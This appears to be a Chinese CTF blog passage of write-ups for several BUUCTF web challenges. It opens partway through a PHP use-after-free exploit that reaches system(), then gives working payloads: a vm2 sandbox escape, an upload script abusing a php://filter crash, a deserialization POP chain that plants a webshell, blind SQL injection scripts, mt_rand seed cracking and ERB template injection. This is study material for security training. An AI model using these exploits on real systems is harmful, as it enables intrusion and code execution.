if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);
exit();
}

然后直接读取。

[NPUCTF2020]ezinclude

hash长度拓展攻击

查看页面源代码发现

1
2
3
username/password error<html>
<!--md5($secret.$name)===$pass -->
</html>

由于$name和$pass可控,而$secret不可控,则可以用md5长度拓展攻击绕过,具体原理看这

发现存在flflflflag.php文件,直接网页打开会404,burpsuite打开。

string.strip_tags伪协议上传文件

include那就先扔个php伪协议,看看flflflflag.php源码。

?file=php://filter/read=convert.base64-encode/resource=flflflflag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

能写一句话和命令执行的伪协议都ban掉了,但是问题不大仍然可以用string.strip_tags进行文件上传,原理看这

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell

写个脚本上传,传二进制的,可以直接传🐎,但是我这里写了个phpinfo()试试。

1
2
3
4
5
6
7
8
9
import requests

url = "url/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload = b"<?php phpinfo();?>"

data = [('file', payload)]

res = requests.post(url=url, files=data)
print(res.text)

然后这道题还给了个dir.php,所以可以不需要进行文件名爆破。

直接查看文件,flag在phpinfo里就能看到。

flag{3ec89c04-0dc3-41d4-9d05-3ca228e8f8cd}

[HFCTF2020]JustEscape

VM沙盒溢出

题目提示不是PHP,那可能就是JS了,然后给出了run.php的源码。

1
2
3
4
5
6
7
8
<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
$code = $_GET['code'];
echo eval(code);
} else {
highlight_file(__FILE__);
}
?>

这里的这个eval其实已经暗示了,它并没有直接执行的$code变量,而是选择eval(code),而且eval()函数不仅php有,nodejs也有。

输入Error().stack尝试查看文件位置。

成功执行,那就铁定是nodejs了,还提示了VM,猜测是nodejs的VM沙盒逃逸问题,原理可以看这

github上可以找到poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

由于ban了一些东西,可以用`${`a`}`拼接字符串绕过。

最终payload:

1
2
3
4
5
6
7
8
(function(){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_pro`}cess`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
}
})()

直接传入code即可拿到flag。

flag{b127495d-efaa-4687-93c3-f7313aced510}

[强网杯 2019]Upload

注册账号后登录可上传文件,随便上传个🐎发现被转成.png后缀了。

一般这种题都会给源码的,直接上dirsearch,可以扫出个www.tar.gz

文件上传 + 反序列化

index.php的login_check()里发现了unserialize()函数,口子就在这了,入口是cookie中的user参数。

有口子了就看看反序列化的利用函数,Register.php里有个__destruct$registed和$checker是可控的,这里很明显是能当做跳板调用__call方法。

看看__call方法,这里$arguments参数为空,$name=index,于是就形成了$this->{$this->index}();,使用了一个不存在的键,会调用__get方法。

这样$except参数就可控了,可控了就说明我们可以调用这个类中的任意函数,这里就要看到upload_img()函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}

if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}

第一个if,由于$checker参数可控,可以绕过。

第二个if,当我们未使用POST方式传入文件,而直接使用GET方法时,$_FILES为空,可以绕过。

最后一个if,是我们需要进入的,$ext参数可控,可以进入。

1
2
3
4
5
6
7
8
9
10
11
12
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}

进入最后这个if,有个copy()函数。

bool copy ( string $source , string $dest [, resource $context ] )

将文件从 source 拷贝到 dest

如果要移动文件的话,请使用 rename() 函数。

那么我们就可以将我们先传入的图片🐎,拷贝到一个文件中,且文件类型我们可控,那就简单了。

先传入图片🐎,然后拷贝的文件名为一个php文件,即可造成文件上传攻击,直接给poc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

namespace app\web\controller;

class Register
{
public $checker;
public $registed = 0;

}

class Profile
{
public $checker = 0;
public $filename_tmp = "./upload/1f14e65dbcd17d7e2d5ffae185e31c64/1c26eabfc7eed920dad40569148bd24f.png";
public $filename = "upload/shell.php";
public $upload_menu;
public $ext = 1;
public $img;
public $except = array('index' => 'upload_img');

}

$x = new Register();
$x->checker = new Profile();

echo base64_encode(serialize($x));

得到的字符串在cookie中传入。

会报错,但是🐎已经上传成功了。

可以直接拿flag。

flag{2e20594a-2d06-4fe8-8040-cc59a02cdfda}

[网鼎杯2018]Unfinish

总共有login.phpregister.phpindex.php三个文件,搜源码没有搜出来,题目也没给提示,注册后username会显示在index.php里,那这就有可能实现二次注入。

from for 逗号绕过 + 加号绕注释

这题ban东西很严重,逗号没了,information_schema也没了。

逗号可用用from for绕过,即

substr(str,1,1) => substr(str from 1 for 1)

mysql中数字与字符相加会将字符转为数字,再进行相加

这样我们就能用加号注释掉后面的命令,二次注入要注意emailpassword,这里直接给爆库脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import re

URL = "http://542290f5-8044-47f2-a502-a7a50001607f.node4.buuoj.cn/"
flag = ""

reg = r'<span class="user-name">\s*(\d*)\s*</span>'


def GetINFO(url):
INFO = ""
for i in range(1, 100):
register_data = {
"email": f"2@{i}",
"username": f"0' + ascii(substr((select database()) from {i} for 1)) + '0",
"password": f"{i}"
}
register = requests.post(url=url + "register.php", data=register_data, timeout=3)

login_data = {
"email": f"2@{i}",
"password": f"{i}"
}
login = requests.post(url=url + "login.php", data=login_data, timeout=3)
while login.status_code != 200:
login = requests.post(url=url + "login.php", data=login_data, timeout=3)

result = re.search(reg, login.text)
INFO += chr(int(result.group(1)))
print(f"[+]Result new is: {INFO}")
return INFO


if __name__ == "__main__":
flag = GetINFO(URL)
print(f"[+]Final Result is: {flag}")

但是这题把information_schema给ban了,而且mysql.innodb_table_statssys.schema_table_statistics都用不了,合着要猜是吧= =,查师傅们给的WP都是直接给flag表的,攻防世界官方的甚至还用了information_schema,脚本都跑不动,服了。

最后放个拿flag的脚本,只能说还是学了一点点东西了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import re

URL = "http://542290f5-8044-47f2-a502-a7a50001607f.node4.buuoj.cn/"
flag = ""

reg = r'<span class="user-name">\s*(\d*)\s*</span>'


def GetINFO(url):
INFO = ""
for i in range(1, 100):
register_data = {
"email": f"1@{i}",
"username": f"0' + ascii(substr((select * from flag) from {i} for 1)) + '0",
"password": f"{i}"
}
register = requests.post(url=url + "register.php", data=register_data, timeout=3)

login_data = {
"email": f"1@{i}",
"password": f"{i}"
}
login = requests.post(url=url + "login.php", data=login_data, timeout=3)
while login.status_code != 200:
login = requests.post(url=url + "login.php", data=login_data, timeout=3)

result = re.search(reg, login.text)
INFO += chr(int(result.group(1)))
print(f"[+]Result new is: {INFO}")
return INFO


if __name__ == "__main__":
flag = GetINFO(URL)
print(f"[+]Final Result is: {flag}")

flag{a0fc974d-cfb0-4811-a9ba-f294d06a2008}

[GYCTF2020]Easyphp

www.zip文件泄露 + php反序列化字符逃逸

www.zip泄露出源码,可利用的有update.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>

和lib.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
<?php
error_reporting(0);
session_start();
function safe($parm)
{
$array = array('union', 'regexp', 'load', 'into', 'flag', 'file', 'insert', "'", '\\', "*", "alter");
str_replace($array, 'hacker', $parm);
return 1;
}

class User
{
public $id;
public $age = null;
public $nickname = null;

public function login()
{
if (isset($_POST['username']) && isset($_POST['password'])) {
$mysqli = new dbCtrl();
$this->id = $mysqli->login('select id,password from user where username=?');
if ($this->id) {
$_SESSION['id'] = $this->id;
$_SESSION['login'] = 1;
echo "你的ID是" . $_SESSION['id'];
echo "你好!" . $_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}

public function update()
{
$Info = unserialize($this->getNewinfo());
$age = $Info->age;
$nickname = $Info->nickname;
$updateAction = new UpdateHelper($_SESSION['id'], $Info, "update user SET age=$age,nickname=$nickname where id=" . $_SESSION['id']);
//这个功能还没有写完 先占坑
}

public function getNewInfo()
{
$age = $_POST['age'];
$nickname = $_POST['nickname'];
return safe(serialize(new Info($age, $nickname)));
}

public function __destruct()
{
return file_get_contents($this->nickname);//危
}

public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}

class Info
{
public $age;
public $nickname;
public $CtrlCase;

public function __construct($age, $nickname)
{
$this->age = $age;
$this->nickname = $nickname;
}

public function __call($name, $argument)
{
echo $this->CtrlCase->login($argument[0]);
}
}

class UpdateHelper
{
public $id;
public $newinfo;
public $sql;

public function __construct($newInfo, $sql)
{
$newInfo = unserialize($newInfo);
$upDate = new dbCtrl();
}

public function __destruct()
{
echo $this->sql;
}
}

class dbCtrl
{
public $hostname = "127.0.0.1";
public $dbuser = "root";
public $dbpass = "root";
public $database = "test";
public $name;
public $password;
public $mysqli;
public $token;

public function __construct()
{
$this->name = $_POST['username'];
$this->password = $_POST['password'];
$this->token = $_SESSION['token'];
}

public function login($sql)
{
$this->mysqli = new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result = $this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token == 'admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password) !== $passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token'] = $this->name;
return $idResult;
}

public function update($sql)
{
//还没来得及写
}
}

虽然这有个file_get_contents(),但是由于flag被过滤了,所以不可用。

然后看到update()方法

1
2
3
4
5
6
7
8
public function update()
{
$Info = unserialize($this->getNewinfo());
$age = $Info->age;
$nickname = $Info->nickname;
$updateAction = new UpdateHelper($_SESSION['id'], $Info, "update user SET age=$age,nickname=$nickname where id=" . $_SESSION['id']);
//这个功能还没有写完 先占坑
}

很明显这里有一个反序列化的入口,简单审计可以很容易构造出pop链。

但是由于无法获取文件,那我们获取flag的方式只有使session[‘login’] = 1。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function login()
{
if (isset($_POST['username']) && isset($_POST['password'])) {
$mysqli = new dbCtrl();
$this->id = $mysqli->login('select id,password from user where username=?');
if ($this->id) {
$_SESSION['id'] = $this->id;
$_SESSION['login'] = 1;
echo "你的ID是" . $_SESSION['id'];
echo "你好!" . $_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}

这里达到目的有两种方式,都是利用dbCtrl类的login方法。

一是使$this->token == admin。

二是输入正确的密码。

由于sql语句可控,这里我们用第二种方法。

sql语句改为select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?

1的md5值为c4ca4238a0b923820dcc509a6f75849b通过这个语句输出的结果会返回1,则我们只需要控制$this->password的值即可。

这里直接给poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php

class User
{
public $id;
public $age;
public $nickname;
public function __construct(){
$this->id = "1";
$this->age = 'select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
$this->nickname = new Info();
}
}

class Info
{
public $age;
public $nickname;
public $CtrlCase;
public function __construct()
{
$this->age = "1";
$this->nickname = "2";
$this->CtrlCase = new dbCtrl();
}
}

class UpdateHelper
{
public $sql;
}

class dbCtrl
{
public $hostname = "127.0.0.1";
public $dbuser = "root";
public $dbpass = "root";
public $database = "test";
public $name;
public $password;
public $mysqli;
public $token;
public $test;
public function __construct(){
$this->password = "1";
$this->name = "admin";
$this->test = new UpdateHelper();
}
}

$x = new Info();
$x->CtrlCase->test->sql = new User();
echo serialize($x);

得到的payload:

O:4:”Info”:3:{s:3:”age”;s:1:”1”;s:8:”nickname”;s:1:”2”;s:8:”CtrlCase”;O:6:”dbCtrl”:9:{s:8:”hostname”;s:9:”127.0.0.1”;s:6:”dbuser”;s:4:”root”;s:6:”dbpass”;s:4:”root”;s:8:”database”;s:4:”test”;s:4:”name”;s:5:”admin”;s:8:”password”;s:1:”1”;s:6:”mysqli”;N;s:5:”token”;N;s:4:”test”;O:12:”UpdateHelper”:1:{s:3:”sql”;O:4:”User”:3:{s:2:”id”;s:1:”1”;s:3:”age”;s:72:”select “1”,”c4ca4238a0b923820dcc509a6f75849b” from user where username=?”;s:8:”nickname”;O:4:”Info”:3:{s:3:”age”;s:1:”1”;s:8:”nickname”;s:1:”2”;s:8:”CtrlCase”;O:6:”dbCtrl”:9:{s:8:”hostname”;s:9:”127.0.0.1”;s:6:”dbuser”;s:4:”root”;s:6:”dbpass”;s:4:”root”;s:8:”database”;s:4:”test”;s:4:”name”;s:5:”admin”;s:8:”password”;s:1:”1”;s:6:”mysqli”;N;s:5:”token”;N;s:4:”test”;O:12:”UpdateHelper”:1:{s:3:”sql”;N;}}}}}}}

由于lib.php中有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function update()
{
$Info = unserialize($this->getNewinfo());
$age = $Info->age;
$nickname = $Info->nickname;
$updateAction = new UpdateHelper($_SESSION['id'], $Info, "update user SET age=$age,nickname=$nickname where id=" . $_SESSION['id']);
//这个功能还没有写完 先占坑
}

public function getNewInfo()
{
$age = $_POST['age'];
$nickname = $_POST['nickname'];
return safe(serialize(new Info($age, $nickname)));
}

所以我们需要通过反序列化字符逃逸绕过getNewInfo方法里的serizlize()。

age=1’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’”;s:8:”nickname”;s:1:”2”;s:8:”CtrlCase”;O:6:”dbCtrl”:9:{s:8:”hostname”;s:9:”127.0.0.1”;s:6:”dbuser”;s:4:”root”;s:6:”dbpass”;s:4:”root”;s:8:”database”;s:4:”test”;s:4:”name”;s:5:”admin”;s:8:”password”;s:1:”1”;s:6:”mysqli”;N;s:5:”token”;N;s:4:”test”;O:12:”UpdateHelper”:1:{s:3:”sql”;O:4:”User”:3:{s:2:”id”;s:1:”1”;s:3:”age”;s:72:”select “1”,”c4ca4238a0b923820dcc509a6f75849b” from user where username=?”;s:8:”nickname”;O:4:”Info”:3:{s:3:”age”;s:1:”1”;s:8:”nickname”;s:1:”2”;s:8:”CtrlCase”;O:6:”dbCtrl”:9:{s:8:”hostname”;s:9:”127.0.0.1”;s:6:”dbuser”;s:4:”root”;s:6:”dbpass”;s:4:”root”;s:8:”database”;s:4:”test”;s:4:”name”;s:5:”admin”;s:8:”password”;s:1:”1”;s:6:”mysqli”;N;s:5:”token”;N;s:4:”test”;O:12:”UpdateHelper”:1:{s:3:”sql”;N;}}}}}}}

直接从update.php输入,然后任意密码登陆即可。

flag{4caee143-cb5b-48e5-bc67-37a8eaa6f830}

[MRCTF2020]Ezaudit

这题刚看题目我还以为是要看audit日志读东西啥的,结果就只是mt种子爆破。

php低版本mt种子爆破

www.zip文件泄露出了index.php源码,且得知php版本为php5.6。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}
}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}

//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???

php低版本的mt种子问题,写个脚本导出值,然后php_mt_seed一把梭。

1
2
3
4
5
6
char = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
public_key = "KVQP0LdJKRaV3n9D"

print("[+]Result is: ")
for i in public_key:
print(str(char.index(i)) + " " + str(char.index(i)) + " 0 " + "61", end=" ")

一把梭。

得到的值在php[5.2.1 - 7.0.x]重新计算私钥的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

function public_key($length = 16) {
mt_srand(1775196155);
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
private_key();
}

//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
echo $private_key;
}
public_key();

XuNhoueCDCGc

有私钥的值直接登陆即可,密码那还有个简单sql。

Private_key=XuNhoueCDCGc&login=登录&password=’+or+’1’=’1&username=crispr

得到flag

flag{9227093c-e6ac-4b87-b77b-516945f26eda}

[SCTF2019]Flag Shop

evoA师傅出的题,这里简单讲讲预期解,非预期解也挺有意思的,具体可以看看evoA师傅的博客讲的更详细点。

ruby模板注入

在/robots.txt里可以看到提示,存在/filebak路由,直接给出了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end

get "/" do
redirect '/shop', 302
end

get "/filebak" do
content_type :text
erb IO.binread __FILE__
end

get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end

get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
erb :shop
end

get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end

if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end

post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

if auth[0]["jkl"] < FLAGPRICE then

json({title: "error",message: "no enough jkl"})
else

auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end


def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end

可以看出是ruby的erb模板注入,核心代码就是这个

1
2
3
4
5
6
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end

if成立则会弹出name参数的前七个字符值,这里就限制了七字符的模板注入,erb模板的注入格式为<%=%>,显然这里就占了五个字符了那么我们可控的就只有两个字符,这里可以使用ruby的预定义全局变量 $',即会返回上次成功匹配右值的字符串。

$’

The string to the right of the last successful match.

tips:特殊字符需要urlencode

有秘钥了就直接JWT一把梭。

flag_here

flag{845aa3fa-8612-4c76-8f81-d6aa00f46882}

[GXYCTF2019]StrongestMind

大数字计算器,写个脚本自动算就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import re


def calculate(n1, sl, n2):
if '+' in sl:
return n1 + n2
if '-' in sl:
return n1 - n2
if '*' in sl:
return n1 * n2
if '/' in sl:
return n1 / n2


url = "http://a3187c44-2492-4ad0-aac5-3bfbd8ad2de4.node4.buuoj.cn:81/"
s = requests.session()
res = s.get(url=url)
for i in range(1, 1005):
char = re.search(r'><br>(\d*)(\D*)(\d*)<br><br><form', res.text)
num1 = int(char.group(1))
num2 = int(char.group(3))
symbol = char.group(2)
result = calculate(num1, symbol, num2)
data = {
"answer": result
}
res = s.post(url=url, data=data)
if "flag{" in res.text:
print(res.text)
break
print(f"[+]Now is:{i}")

flag{b387e80e-8d04-454e-b5b4-720d176c82ba}

[安洵杯 2019]不是文件上传

index最下面可以看到一段话。

Hello, my colleague.

Some of the features on our website have not been completed. I have uploaded the source code to github. When you have time, remember to continue.

提示可以去到作者的github仓库中找到源码。

下载源码下来代码审计,主要是show.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
include("./helper.php");
$show = new show();
if($_GET["delete_all"]){
if($_GET["delete_all"] == "true"){
$show->Delete_All_Images();
}
}
$show->Get_All_Images();

class show{
public $con;

public function __construct(){
$this->con = mysqli_connect("127.0.0.1","root","root","pic_base");
if (mysqli_connect_errno($this->con)){
die("Connect MySQL Fail:".mysqli_connect_error());
}
}

public function Get_All_Images(){
$sql = "SELECT * FROM images";
$result = mysqli_query($this->con, $sql);
if ($result->num_rows > 0){
while($row = $result->fetch_assoc()){
if($row["attr"]){
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
}
echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
}
}else{
echo "<p>You have not uploaded an image yet.</p>";
}
mysqli_close($this->con);
}

public function Delete_All_Images(){
$sql = "DELETE FROM images";
$result = mysqli_query($this->con, $sql);
}
}
?>

和helper.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
<?php
class helper {
protected $folder = "pic/";
protected $ifview = False;
protected $config = "config.txt";
// The function is not yet perfect, it is not open yet.

public function upload($input="file")
{
$fileinfo = $this->getfile($input);
$array = array();
$array["title"] = $fileinfo['title'];
$array["filename"] = $fileinfo['filename'];
$array["ext"] = $fileinfo['ext'];
$array["path"] = $fileinfo['path'];
$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
